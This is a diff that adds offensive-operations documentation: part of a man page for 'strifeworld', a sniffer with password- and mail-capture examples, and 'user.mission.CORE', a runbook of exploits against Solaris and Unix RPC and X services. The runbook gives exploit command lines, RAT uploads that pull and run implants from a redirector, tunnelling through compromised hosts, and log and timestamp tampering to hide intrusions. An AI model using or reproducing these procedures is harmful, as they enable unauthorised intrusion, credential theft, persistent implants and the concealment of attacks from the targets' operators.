sundown\fP +.fi +.RE +.LP +To record traffic between \fIhelios\fR and either \fIhot\fR or \fIace\fR: +.RS +.nf +\fBstrifeworld host helios and \\( hot or ace \\)\fP +.fi +.RE +.LP +To record traffic between \fIace\fR and any host except \fIhelios\fR: +.RS +.nf +\fBstrifeworld host ace and not helios\fP +.fi +.RE +.LP +To record all traffic between local hosts and hosts at Berkeley: +.RS +.nf +.B +strifeworld net ucb-ether +.fi +.RE +.LP +To record all ftp traffic through internet gateway \fIsnup\fP: +(note that the expression is quoted to prevent the shell from +(mis-)interpreting the parentheses): +.RS +.nf +.B +strifeworld 'gateway snup and (port ftp or ftp-data)' +.fi +.RE +.LP +.\"END -- tcpdump excerpt" +.SH BUGS +Please send bug reports to +.LP +strifeworld currently does not understand IP fragments. Flows containing +IP fragments will not be recorded correctly. +.LP +strifeworld never frees state associated with sessions that it records, so +will grow large if used to capture a very large number of sessions (e.g., +on the order of 100,000 sessions or more). +.LP +There appears to be a bug in the way that Linux delivers packets to +libpcap when using the loopback interface ("localhost"). When +listening to the Linux loopback interface, selective packet filtering +is not possible; all TCP sessions on the localhost interface will be +recorded. +.SH EXAMPLES +.LP +Survey: +PATH=. C="-p -s5" strifeworld +.LP +Password Snarf: +.LP +PATH=. E="port 23 or 21 or 513 or 110" C="-o/tmp/.nfs3253 -p -n." strifeworld +.LP +-p : turns on promiscuous mode +.LP +-n. : collect everything. (Default: SW will capture the first 1000 bytes of dataand up to 5Mb total traffic.) +.LP +Optional settings: +.LP +-z : compression (need to have the exe from the contrib dir, ex., readitlinux) +.LP +-n(pass|login|sunos) +.LP +-m : turn on mirroring (sees both sides and puts them together as one) +.LP +-i : interface +.LP +-x100 : by default, SW will follow 30 streams, but if the network is busy, you may want to up the limit to -x +.LP +Mail Snarf: +.LP +PATH=. E="port 25 or port 110" C="-o/tmp/.nfs4323 -f(user1|user2) -t(user1|user2) -n(user1|user2) -a3000 -b100000 -ihme0" sendmail -bd -q15m +.LP +Optional settings: +.LP +-z : compression (need to have the exe from the contrib dir, ex., readitlinux) +.LP +Note: SW operates non-promiscuously by default. +.LP +To kill it properly and grab the file: +.LP +A=PID export A; kill -USR1 $A;sleep 1;kill -USR2 $A;sleep 1; kill -USR1 $A;sleep 1;kill -USR2 $A +.SH AUTHOR +Noone +.LP +The current version of this software is available from +.RS +.I Noone +.RE +.SH "SEE ALSO" +tcpdump(1), nit(4P), bpf(4), pcap(3) +.SH NOTES +When running STRIFEWORLD on Solaris in non-promiscuous mode (default), only +data sent to the server will be seen. Server responses to the client are not +captured. If you want to see server responses on Solaris, SGI, Dec, you must +run STRIFEWORLD in promiscuous mode (-p). Running in promiscuous mode has +other issues, including, network detection, device detection (ifconfig), network activity and machine performance. +.LP +Linux sees both the client and server responses in non-promiscuous mode. +.LP +When deploying STRIFEWORLD to a target, copy and paste the command from +an approved script. Please do not type the parameters and command at the prompt. +.LP +Running STRIFEWORLD not protected under INCISION on FreeBSD and Linux will allow the showing of the environment variables through the ps command. For example, running ps -efwww e will show environment variables sent to STRIFEWORLD. On Solaris, HPUX, and Irix, the ps command does not allow one to show environment variables. Running STRIFEWORLD protected under INCISION on any platform will hide the process and environment variables. diff --git a/Linux/doc/user.mission.CORE b/Linux/doc/user.mission.CORE new file mode 100644 index 0000000..d7612a3 --- /dev/null +++ b/Linux/doc/user.mission.CORE @@ -0,0 +1,1229 @@ +################################## +# user.mission.CORE # +# Core Unix Tools and Methods # +# v1.4 - 20111101 # +################################## + + +#Includes: +# YS, GS, EASY, BL, EBB, MASQ +# RAT Upload +# Cleaning +:/YELLOWSPIRIT +:/YS DAIRYFARM +:/GREENSPIRIT +:/EASYSTREET +:/BOSSLADD +:/EBBSHAVE +:/SSH MASQ +:/RAT UPLOAD +:/CLEANING +:/-shell + +####################### +# YS - YELLOWSPIRIT # +####################### + +### New way: + +Usage: ys.auto -i TARGETIP [options] + +-i IP IP of target machine (NO DEFAULT) +-R IP Actual target IP when redirecting via 127.0.0.1 (in case IP + the -scan reported is wrong in -sploit mode) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 3 seconds) +-z Do NOT use uncomrpess at the either end +-e Do NOT use "2>&1" on target. Fouls up in some shells. +-U Do NOT pipe to uudecode, instead create a .uu file. +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1". + If not provided or no match, /current/up/noserver is assumed. + +NOTE: -n# and -p# can be the same, even in callback mode. ys.auto provides + a mechanism to allow netcat callback to finish, and its -tunnel to + close (if redirecting) before the NOPEN server calls back on the + same port. + +examples: + ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir + ys.auto -i 10.0.3.1 + ys.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of ys.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +ys.auto Version 1.4.3.1 + + +### Old Way: + +mx +:%s/YSXSERVER_PORT//g +:%s/YSNETCAT_PORT//g +:%s/YSREDIR_IP//g +:%s/YSTARGET_IP//g +:%s/YSWORK_DIR//g +:%s/YSRAT//g +`x + +-scan xwin YSTARGET_IP + +### Locally: +packrat YSNETCAT_PORT + +################################################## +###### YS With REDIRECTION: +################################################## +###### 1. On redirector - set up nopen tunnel + +-tunnel +u 177 YSTARGET_IP +r YSXSERVER_PORT +r YSNETCAT_PORT +s + + +###### 2. Local window1 +#./wrap-sun.sh -l 555.41.145.11 -r sendmail -p 24389 -x 39942 -d /tmp/.scsi +#./wrap-sun.sh -l REDIR-IP -r sendmail -p NETCAT-PORT -x YSXSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l YSREDIR_IP -r YSRAT -p YSNETCAT_PORT -x YSXSERVER_PORT -d /tmp/YSWORK_DIR + + # hit return + # type y and hit return + + +###### 3. Local Window2: + # for redirection local ip is redirector ip + +#./xc -x REDIR-IP -y YSXSERVER-PORT -s REDIR-IP 127.0.0.1 +#./xc -x 555.41.145.11 -y 39942 -s 555.41.145.11 127.0.0.1 +./xc -x YSREDIR_IP -y YSXSERVER_PORT -s YSREDIR_IP 127.0.0.1 + + # hit return + # hit return + # hit return + # (At this point you should see a continue.... in your attack1 window + + # in the attack1 window + # hit return + # hit return + # hit return + + # (you should see your upload happen...) + +### IF Exploit is successful +# DOING THE FOLLOWING WILL GREATLY REDUCE POSSIBLE LOGGING. +# ONLY HIT CONTINUE, IN THE MINI X SERVER WINDOW, ENOUGH +# TIMES TO GET THE RAT FULLY UPLOADED. +# WATCH TCPDUMP OUTPUT TO DETERMINE WHEN RAT IS UPLOADED. +# ONCE THE RAT IS UPLOADED, CONNECT +# TO THE TARGET VIA THE RAT AND DO THE FOLLOWING: + +ps -ef | grep dtlogin +kill PID + +# IF YOU SELECTED THE CORRECT dtlogin PID, THEN YOU SHOULD SEE A +# "connection closed" MESSAGE IN YOUR MINI X SERVER WINDOW. IF +# NOT, YOU SELECTED THE WRONG PID AND JUST KILLED SOMEBODY ELSE'S +# dtlogin. IF ALL GOES WELL, HIT control ^C IN THE MINI X SERVER +# WINDOW AND THE XC WINDOW. + + + # Ctrl-C your nc window + # Ctrl-C your xc window +### IF IT WORKS, JUMP: +:/Connect to RAT + +################################################## +###### YS with Double telnet / doublet method: +################################################## +mx +:%s/YSRPORT1//g +:%s/YSRPORT2//g +`x + +### Redir +-tunnel +u 177 YSTARGET_IP +r YSXSERVER_PORT +r YSRPORT1 +r YSRPORT2 +r YSNETCAT_PORT + + +### Local scripted (you'll type commands in this): +#nc -l -p R-PORT1 +#nc -l -p YSRPORT1 + +###Local scripted (your output from above will appear here): +#nc -l -p R-PORT2 +#nc -l -p YSRPORT2 + +### OR -- instead, use doublet in a scripted window (type and output all in same window): +#doublet -O -t -i REDIR_IP R-PORT1 +doublet -O -t -i YSREDIR_IP YSRPORT1 YSRPORT2 + +### then set up the tunnels as below, and use wrap-telnet.sh and xc + +### Scripted #1 +wrap-telnet.sh -l YSREDIR_IP -p YSRPORT1 -s YSRPORT2 -x YSXSERVER_PORT + +### Scripted #2 +xc -x YSREDIR_IP -y YSXSERVER_PORT -s YSREDIR_IP 127.0.0.1 + +### Connect to RAT ### +#w/o tunneling +cd ../down +../bin/noclient YSTARGET_IP + +#w/ tunneling. In redirector window +-nstun YSTARGET_IP + +-rm YSRAT + +# JUMP TO CLEAN: +:/Cleaning up + +################################################## +###### YS DAIRYFARM METHOD (Windows redirect): +################################################## +mx +:%s/DFWINDOWS_REDIR_IP//g +:%s/DFTARGET_IP//g +:%s/DFLINUX_OP_BOX_IP//g +:%s/DFWINDOWS_OP_BOX_IP//g +:%s/DFCONTROL_PORT//g +:%s/DFXSERV_PORT//g +:%s/DFNETCAT_PORT//g +:%s/DFNOPEN_PORT//g +:%s/DFRAT//g +:%s/DFWORK_DIR//g +`x + +### Follow steps in this order: +### 1) on linux box, start dairyfarm client: + +#./df_client CONTROL-PORT 127.0.0.1:DFXSERV-PORT +./df_client DFCONTROL_PORT 127.0.0.1:DFXSERV_PORT + +### 2) on windows redir, set up tunnels: +### the next line replaces the normal tunnel to call back to the xserver port +### and references the df control port instead +#background redirect -tcp -implantlisten CONTROL-PORT -target LINUX-OP-BOX CONTROL-PORT -nodes 40 +background redirect -tcp -implantlisten DFCONTROL_PORT -target DFLINUX_OP_BOX_IP DFCONTROL_PORT -nodes 40 + +### to udp 177 +#background redirect -udp -lplisten 177 -target TARGET-IP 177 -maxpacketsize 32000 +background redirect -udp -lplisten 177 -target DFTARGET_IP 177 -maxpacketsize 32000 + +### callback for netcat upload +#background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OPS-BOX NETCAT-PORT -nodes 40 +background redirect -tcp -implantlisten DFNETCAT_PORT -target DFLINUX_OP_BOX_IP DFNETCAT_PORT -nodes 40 + +### callforward to nopen +#background redirect -tcp -lplisten NOPEN-PORT -target UNIX-TARGET-IP NOPEN-PORT +background redirect -tcp -lplisten DFNOPEN_PORT -target DFTARGET_IP DFNOPEN_PORT -bind DFWINDOWS_OP_BOX_IP + +### 3) on windows redir, upload dairyfarm.exe as something obscure (help16.exe) and start: + +put D:\OPSDisk\Tools\dairyserver.exe -name help16.exe +matchtimes help.exe help16.exe + +#background run -command "help16.exe DFXSERV-PORT 127.0.0.1:CONTROL-PORT" +background run -command "help16.exe DFXSERV_PORT 127.0.0.1:DFCONTROL_PORT" + +### 4) on linux, set up to launch YS, using appropriate wrap script: + +cd /current/up +file noserver +# cp appropriate noserver from morerats to /current/up +# Need to noprep it? Different listener port (default is 32754) +#noprep noserver -lNOPEN_PORT +noprep noserver -lDFNOPEN_PORT + +#packrat RAT_NAME /current/up/noserver.new NETCAT-PORT +packrat DFRAT /current/up/noserver.new DFNETCAT_PORT + +#./wrap-sun.sh -l WIN-TARGET-IP -r RAT_NAME -p NETCAT-PORT -x DFXSERV-PORT -d TMP_DIR +./wrap-sun.sh -l DFWINDOWS_REDIR_IP -r DFRAT -p DFNETCAT_PORT -x DFXSERVER_PORT -d /tmp/DFWORK_DIR + +#./xc -x WIN-TARGET-IP -y DFXSERV-PORT -s WIN-TARGET-IP WINDOWS-OP-BOX +./xc -x DFWINDOWS_REDIR_IP -y DFXSERV_PORT -s DFWINDOWS_REDIR_IP DFWINDOWS_OP_BOX_IP + +### 5) connect to nopen AFTER you control-c the netcat window: + +#noclient 192.168.254.72:32754 +noclient DFWINDOWS_OP_BOX_IP:DFNOPEN_PORT + +### 6) on linux, control-C the df_client window +### 7) on windows, the dairyfarm.exe (renamed as help16.exe or whatever) should +### go away from the process listing; You can now remove it from the target. + +-rm DFRAT + + +################################################## +######### YS With no redirection: ALMOST NEVER USED LAB ONLY +################################################## +### only fill in YSLOCAL_IP if NOT using redirection +:%s/YSLOCAL_IP//g + +### Local Window 1: +#./wrap-sun.sh -l LOCAL-IP -r sendmail -p NETCAT-PORT -x YSXSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l YSLOCAL_IP -r YSRAT -p YSNETCAT_PORT -x YSXSERVER_PORT -d /tmp/YSWORK_DIR + +### Local Window 2: +#./xc -x LOCAL-IP -y YSXSERVER-PORT -s LOCAL-IP TARGET-IP +./xc -x YSLOCAL_IP -y YSXSERVER_PORT -s YSLOCAL_IP YSTARGET_IP + + + + +###### Cleaning up ###### +### The error log file is configurable and so you must examine +### their xdm-config file to find out where errors are being +### logged. +### +### HAVE TO LOOK THROUGH "find" file from getscript + +egrep -i '(xdm-config|errors|xerror)' /current/*find*m + +### if no find available one of these will probably find it + +-ls /tmp/*errors /var/dt/*errors +-cat error_file + +-grep YSREDIR_IP /var/adm/syslog /var/log/syslog /var/adm/messages + +-lt /var/dt/ + +### you will notice Xerrors is the most recent + +-tail /var/dt/Xerrors + +### if your entries are the only ones there.... + +cat /dev/null >/var/dt/Xerrors + +### if there are other entries you will do something like + +wc -l /var/dt/Xerrors + +### subtract the number of lines that are because of you from above + +head -(what's left) > t ; cat t + +### if it looks good: + +cat t > /var/dt/Xerrors +-cat /var/dt/Xerrors +-rm t + +-ls -t /var/adm +### anything that has a reasonably current timestamp you should check + +### Toasting the login entries... +### Use toast to clean utmp[x], wtmp[x], lastlog + +### jump to cleaning section... + +:/TOAST + +### END YS ### + + + +####################### +# GS - GREENSPIRIT # +####################### + +gs.auto +Usage: gs.auto -i [ options ] + +-i IP IP of target machine (NO DEFAULT) +-g opt Change default GS option from ./ to "./opt" + (can be grins, frowns or sneer). +-C str Change default community string from public to "str". +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 0 seconds). Callback is to -l IP. +-k Use ksh method instead of telnet/uu*code. +-z Do NOT use uncomrpess at the either end +-r rat name of rat on target (Default: sendmail) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i | tail -1". + If not provided or no match, /current/up/noserver is assumed. +-G Retry exploit--using already uploaded RAT (useful when you need + to try adding -P option or try another RAT callback port). + +examples: + gs.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -D /tmp/.dir + gs.auto -i 10.0.3.1 + gs.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of gs.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. + +gs.auto Version 1.6.1.1 + + +### Or the old way: + +# Use sneer(2.6) or frowns(2.7+) +gs.os.gr + +Using -c option requires local nosy or nopen client command as follows: + noxxxx -l +You'll be prompted when to start it. + +Usage: /current/bin/gs.os.gr [options] + -i (required) + -g def= frowns + -l (required) + -n (required) + -c (no default) + -D def= /tmp/.X11R6 + -f def= nscd + -E (no default) + -A (no default) + -S DEPRECATED (and ignored) + -s DEPRECATED (and ignored) + +mx +:%s/GSTARGET_IP//g +:%s/GSPORT//g +:%s/GSNETCAT_PORT//g +:%s/GSREDIR_IP//g +:%s/GSWORK_DIR//g +:%s/GSRATNAME//g +`x + + +rpcinfo -p GSTARGET_IP + +rpcinfo -n GSPORT -u GSTARGET_IP 100249 +rpcinfo -n GSPORT -t GSTARGET_IP 100249 + +# From PI +-scan rpc GSTARGET_IP +-scan mibiisa GSTARGET_IP + # should respond w/ snmp version or h/w type if mibiisa is running: +-scan snmp1 GSTARGET_IP + # should give motd banner to tell you the OS +-scan snmp2 GSTARGET_IP + +# If the above don't answer, GS won't work +# if the scans answer with "No such name" then they are probably not vulnerable +# anything else might be worth a shot as long as you're getting udp 161 to target + +### In netcat window: +packrat GSRATNAME /current/up/noserver-??? GSNETCAT_PORT + +# Tunneling +# on redirector + +-tunnel +u 161 GSTARGET_IP +r GSNETCAT_PORT +s + +# logging depends on sneer(2.6) or frowns(2.7+) + + +# With redirector: +#./gs.os.gr -i 127.0.0.1 -g -l REDIR-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i 127.0.0.1 -g -l GSREDIR_IP -n GSNETCAT_PORT -D /tmp/GSWORK_DIR -f GSRATNAME + +# NO tunneling + +# Local window +#./gs.os.gr -i TARGET-IP -g -l REDIR-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i GSTARGET_IP -g -l GSREDIR_IP -n GSNETCAT_PORT -D /tmp/GSWORK_DIR -f GSRATNAME + + +# Both cases: +#you wait 4 minutes, and you should see the upload of nopen +# Ctrl-C your nc + +### Connect to RAT on target: +### Straight connect (no redirection) +cd ../down +../bin/noclient GSTARGET_IP + +### Connect using redirector: +-nstun GSTARGET_IP + +### Cleanup: +### run cleaner after frowns (or else another callback in 4 minutes) (might be automatic now) +### If cleaner failed, look for and remove mibiisa_ps_data: +rm /tmp/mibiisa_ps_data + +### toast utmp, wtmp, utmpx, wtmpx +:/TOAST + +### TO ENSURE CLEANER WORKED: +### Remove directory created under /tmp and WAIT 4 MINUTES...if directory is not re-created, cleaner worked +-rm GSWORK_DIR + +### END GS ### + + +####################### +# EASY - EASYSTREET # +####################### + +### cmsd 100068 +### UDP is best since it's a single packet to exploit + +mx +:%s/ESTARGET_IP//g +`x + +# look for 100068 and make note of port +-scan rpc ESTARGET_IP + +### with -sploit: + +#-sploit will ask you which exploit to try. +# Select 'CM' (calendar manager) +# Another window will pop up to run the exploit +# This window will pause to allow you to verify the command it will run. +# The command should look something like this (the ports will vary): +# -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Append '-T 2' to the front of the line so that it looks like this: +# -T 2 -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Then press return. + +# The exploit window will prompt you to set up a listener like this: +# You must establish a NOPEN listener on 192.168.250.3:SOME_RANDOM_PORT + +-nrtun RANDOM (as indicated in the -sploit exploit prompt) + +#Press enter + +#Now the exploit will occur and, after a couple of minutes, it will call back +#to your listener. +#Once the callback occurs, take the following steps: + +#In a local window +LOCAL>closetunnel + +#Press 'A' to abort the autodone commands +#Delete the files created by your exploit +#There should be one lock file and one callog file +-lt /var/spool/calendar +-rm /var/spool/calendar/THE_TWO_MOST_RECENT_FILES + +#Use touch to set the directory timestamp back +-lt /var/spool +-touch /var/spool/SOME_OLDER_DIRECTORY /var/spool/calendar + + +### Usage: +./cmsex +./cmsex.auto + +EASYSTREET version 1.2 +Usage: cmsex -i -c -T (-u | -t ) + +-i target ip address / hostname +-c command +-T target type +-u UDP port (use 0 to query portmapper) +-t TCP port (use 0 to query portmapper) + +Target types: +0: Solaris 8 Blade-1000s and Ultra-60s +1: Solaris 9 Blade-1000s and Ultra-60s +2: Solaris 6,7,and 8 Ultras +3: Solaris 6 - 8 SPARCstations +4: Solaris 9 Ultra-30s +5: Solaris 6 - 7 x86 +6: Solaris 8 x86 +7: Solaris 9 x86 (not implemented) +8: HPUX (not implemented) +9: SCO 7.0.1 x86 + +Note: Choosing the correct target type is a bit of guesswork. + If one choice fails, you may want to try another. + +# Only use ESLOCAL_IP if NOT REDIRECTING cmsex command +mx +:%s/ESWORK_DIR//g +:%s/ESLOCAL_IP/ESLOCAL_IP/g +:%s/ESREDIR_IP//g +:%s/ESNETCAT_PORT//g +:%s/ESCMSD_PORT//g +:%s/ESRANDOM//g +`x + +### get nopen ready +packrat + + +### no redirection +#./cmsex -i TARGET_IP -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet ESLOCAL_IP ESNETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T (-u | -t) CMSD-PORT + +./cmsex -i ESTARGET_IP -c 'mkdir /tmp/ESWORK_DIR; cd /tmp/ESWORK_DIR && telnet ESLOCAL_IP ESNETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T (-u | -t) ESCMSD_PORT + + +### Redirected: +-tunnel +u ESRANDOM ESTARGET_IP ESCMSD_PORT +r ESNETCAT_PORT + +#./cmsex -i 127.0.0.1 -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet REDIR_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T 3 -u RANDOM +./cmsex -i 127.0.0.1 -c 'mkdir /tmp/ESWORK_DIR; cd /tmp/ESWORK_DIR && telnet ESREDIR_IP ESNETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T 3 -u ESRANDOM + + +### when the upload is done, kill the netcat, then try connecting in + +-nstun ESTARGET_IP + +-rm sendmail + + +### Logging: +-lt /var/adm +-lt /var/spool/calendar + +### END EASY ### + + + +####################### +# BL - BOSSLADD # +####################### +### when nsrexec is there but NOT with nsrstatd??? +### like a tcp version of BS +### always uses port 7937 + + +### ./bll.tnc.gr + +# Before running this script, you first need to run the following: +# nc -l -p localPort < file2Xfer&Run.uu +# (nc must be in your path; it's also run w/in this script) +# where file2Xfer&Run.uu is a compressed, uuencoded file. + + +# Usage: bll.tnc.gr +# [options] -- [options to ] +# -i (required) +# -l (required) +# -p def = 32177 +# -f (required) +# -D def= /tmp/.X11R6 +# + +# ./bll.tnc.gr -i 66.128.32.67 -l 67.233.61.230 -p 24792 -f sendmail -D /tmp/.scsi + +mx +:%s/BLNETCAT_PORT//g +:%s/BLTARGET_IP//g +:%s/BLREDIR_IP//g +:%s/BLRAT_NAME//g +:%s/BLWORK_DIR//g +`mx + +packrat BLNETCAT_PORT + +### On redirector: +-tunnel +l 7937 BLTARGET_IP +r BLNETCAT_PORT + +### On local machine: +### Ex.: ./bll.tnc.gr -i 127.0.0.1 -l 150.27.1.11 -p 45226 -f sendmail -D /tmp/.scsi +###./bll.tnc.gr -i 127.0.0.1 -l REDIR_IP -p NETCAT_PORT -f RAT_NAME -D /tmp/WORK_DIR + +./bll.tnc.gr -i 127.0.0.1 -l BLREDIR_IP -p BLNETCAT_PORT -f BLRAT_NAME -D /tmp/BLWORK_DIR + +### Once upload of RAT completes, connect to target from PI with nopen: + +-nstun BLTARGET_IP + +### Cleanup +-ls /nsr/cores +-ls /nsr/cores/sh +-cat /nsr/cores/sh/* +rm /nsr/cores/sh/* +-rm /nsr/cores/sh +-touch SOMEFILE /nsr/cores + +-ls /nsr/logs +-ls /nsr/logs/daemon.log +-get /nsr/logs/daemon.log +wc -l /nsr/logs/daemon.log +head -## /nsr/logs/daemon.log > n +-cat n +cat n > /nsr/logs/daemon.log +touch SOMEFILE /nsr/logs/daemon.log + +### END BL ### + + +####################### +# EBB - EBBSHAVE # +####################### +### Sol2.10 vulnerable for program 100230 metamhd, use Option #1 (5.9 metamhd) +### ./ebbshave.v5 is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services +### Important: ebbnew_linux must be in your PATH + +#command that is useful: +#rpcinfo -n -u|-t + +usage: ./ebbshave.v5 -o -v -t -p +-o : one of the following options [1-19]: + 1, "5.9 metamhd", program # = 100230, NOTE - this works for same program on Sol2.10 + 2, "5.8 ruserd", program # = 100002, NOTE = version 1 + 3, "5.8 ruserd", program # = 100002, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 4, "5.8 ttdbserverd", program # = 100083, + 5, "5.8 cachefsd", program # = 100235, NOTE = version 1 - Start with option #6 first, if it fails then try this option + 6, "5.8 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 7, "5.8 metad", program # = 100229, NOTE = version 1 + 8, "5.8 metad", program # = 100229, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 9, "5.8 metamhd", program # = 100230, + 10, "5.7 ruserd", program # = 100002, NOTE = must start service first by using rpcinfo -n before using this option + 11, "5.7 kcms_server", program # = 100221, + 12, "5.7 cachefsd", program # = 100235, + 13, "5.7 ttdbserverd", program # = 100083, + 14, "5,7 dr_daemon", program # = 300326, + 15, "5.6 ruserd", program # = 100002, + 16, "5.6 kcms_server", program # = 100221, + 17, "5.6 cachefsd", program # = 100235, NOTE = version 1 - Start with option #18 first, if it fails then try this option + 18, "5.6 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 19, "5.6 ttdbserverd", program # = 100083, +-v : the program version number you are exploiting which is obtained from rpcinfo output +-t : targets ip address +-p : port number rpc program is listening on +example: + ./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772 + +If you fail to exploit using ./ebbshave.v5, try bruteforcing using ebbshave.v4 + + +mx +:%s/EBBTARGET_IP//g +:%s/EBBRANDOM//g +:%s/EBBPORT//g +:%s/EBBPROG//g +:%s/EBBNETCAT_PORT//g +:%s/EBBREDIR_IP//g +:%s/EBBWORK_DIR//g +:%s/EBBRAT_PORT//g +`x + +### 1. Use the following command to look for a suitable program to hit + +-scan brpc EBBTARGET_IP + +### Local box: +./ebbshave.v5 + +### 2. Verify the portnum will work (should respond "ready and waiting) +### Use either: +# rpcinfo -n -u|-t +# Ex.: ebbshave -n 32776 -t targetip 100229 + +### Redirector: +-tunnel +[l or u] EBBRANDOM EBBTARGET_IP EBBPORT + +### Local: +rpcinfo -n EBBRANDOM -u|-t 127.0.0.1 EBBPROG + + +###### 3. Plug in your choices and go: + +### Netcat window: +packrat EBBNETCAT_PORT + + +### Add to Existing Redirector tunnels: +r EBBNETCAT_PORT + +### Locally: + +./ebbshave.v5 -o -v -t 127.0.0.1 -p EBBRANDOM + +### IF SUCCESSFUL - skip down to unsets +###IF ebbshave.v5 fails +### Locally: + +./ebbshave.v4 + +#ebbshave -B -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM +#./ebbshave.v4 -n -t 127.0.0.1 +# To throw it: +./ebbshave.v4 -T -n EBBRANDOM -t 127.0.0.1 EBBPROG + + +### If successful, you should get a root shell + +### Get the following ready for pasting: (paste one line at a time) + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir EBBWORK_DIR +cd /tmp/EBBWORK_DIR +pwd +telnet EBBREDIR_IP EBBlNETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep EBBRAT_PORT +D="-lEBBRAT_PORT" PATH=. sendmail + +### pitch window +-nstun EBBTARGET_IP EBBRAT_PORT + + +###### Cleanup: +/usr/openwin/bin/core +/var/adm/messages + +#on 5.10+: +/etc/svc/volatile/svc:/network/rpc + +Other cores locations? +Always look at utmp, wtmp,etc + + + +####### If you've hit this before and know the addresses: + +# Ex.: ./ebbshave -T 1 -S 0xffbefa20 -E 0xffbefa20 -n 32775 -t target 300326 + +### END EBB ### + + + +####################### +# MASQ - SSH MASQ # +####################### + +mx +:%s/MASQTARGET_IP//g +:%s/MASQTUNNEL_PORT//g +:%s/MASQUSER//g +`x + +### on redirector +-tunnel +l MASQTUNNEL_PORT MASQTARGET_IP 22 + + +# Multiple targets? If so, wipe your known_hosts file locally between each: +cat /dev/null > ~/.ssh/known_hosts + +### DIRECT?? NO WE GENERALLY DO NOT WANT THIS : ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x MASQUSER@MASQTARGET_IP "/bin/sh" + # or +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + # or this eliminates the lack of tty problem +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 + +### Want tunnels? (for NOPEN, for file transfers....) +### +### Use the following lines to set up an ssh tunnel. The reverse tunnel can be used to pull up a rat, +### while the forward tunnel can be used to connect with noclient. This could be particularly useful +### if SSH is the only access method to the target. Both can be used simultaneously. +### NOTE: the -R commands WILL CREATE BOUND PORTS on target, be careful. +### +## FORWARD TUNNEL OPTION: (use actual target IP unless 127.0.0.1 might blend better) +## -L LOCAL_PORT:TARGET_IP:TARGET_PORT +## REVERSE TUNNEL OPTION: -R REMOTE_PORT:LOCAL_IP:LOCAL_PORT + +# NEW (who knew? apr 2011): With a full tty login (not with /bin/sh), you can get to a ssh command shell +# with the key sequence: CR-CR-~-C (return twice, tilde, capital C). + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +ps -ef +ls -lart /tmp +mount +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd +which uudecode uncompress wget perl + # gedit sendmail +uudecode; ls -la + + +# LINUX: +# start nopen so you can upload forkpty to be able to su (ptrace didn't work) +-put forkpty f +./f + +# or: +su + +# SEE RAT UPLOADS +:/RAT UPLOAD + +### OR ### +### SSH TUNNEL +### set up a reverse SSH TUNNEL to use with RAT UPLOAD +### or a forward tunnel for noclient connection (or both) + +mx +:%s/MASQTARGET_IP//g +:%s/MASQTUNNEL_PORT//g +:%s/MASQUSER//g +:%s/REMOTEONE/REMOTEONE/g +:%s/LOCALONE/LOCALONE/g +:%s/REMOTETWO/REMOTETWO/g 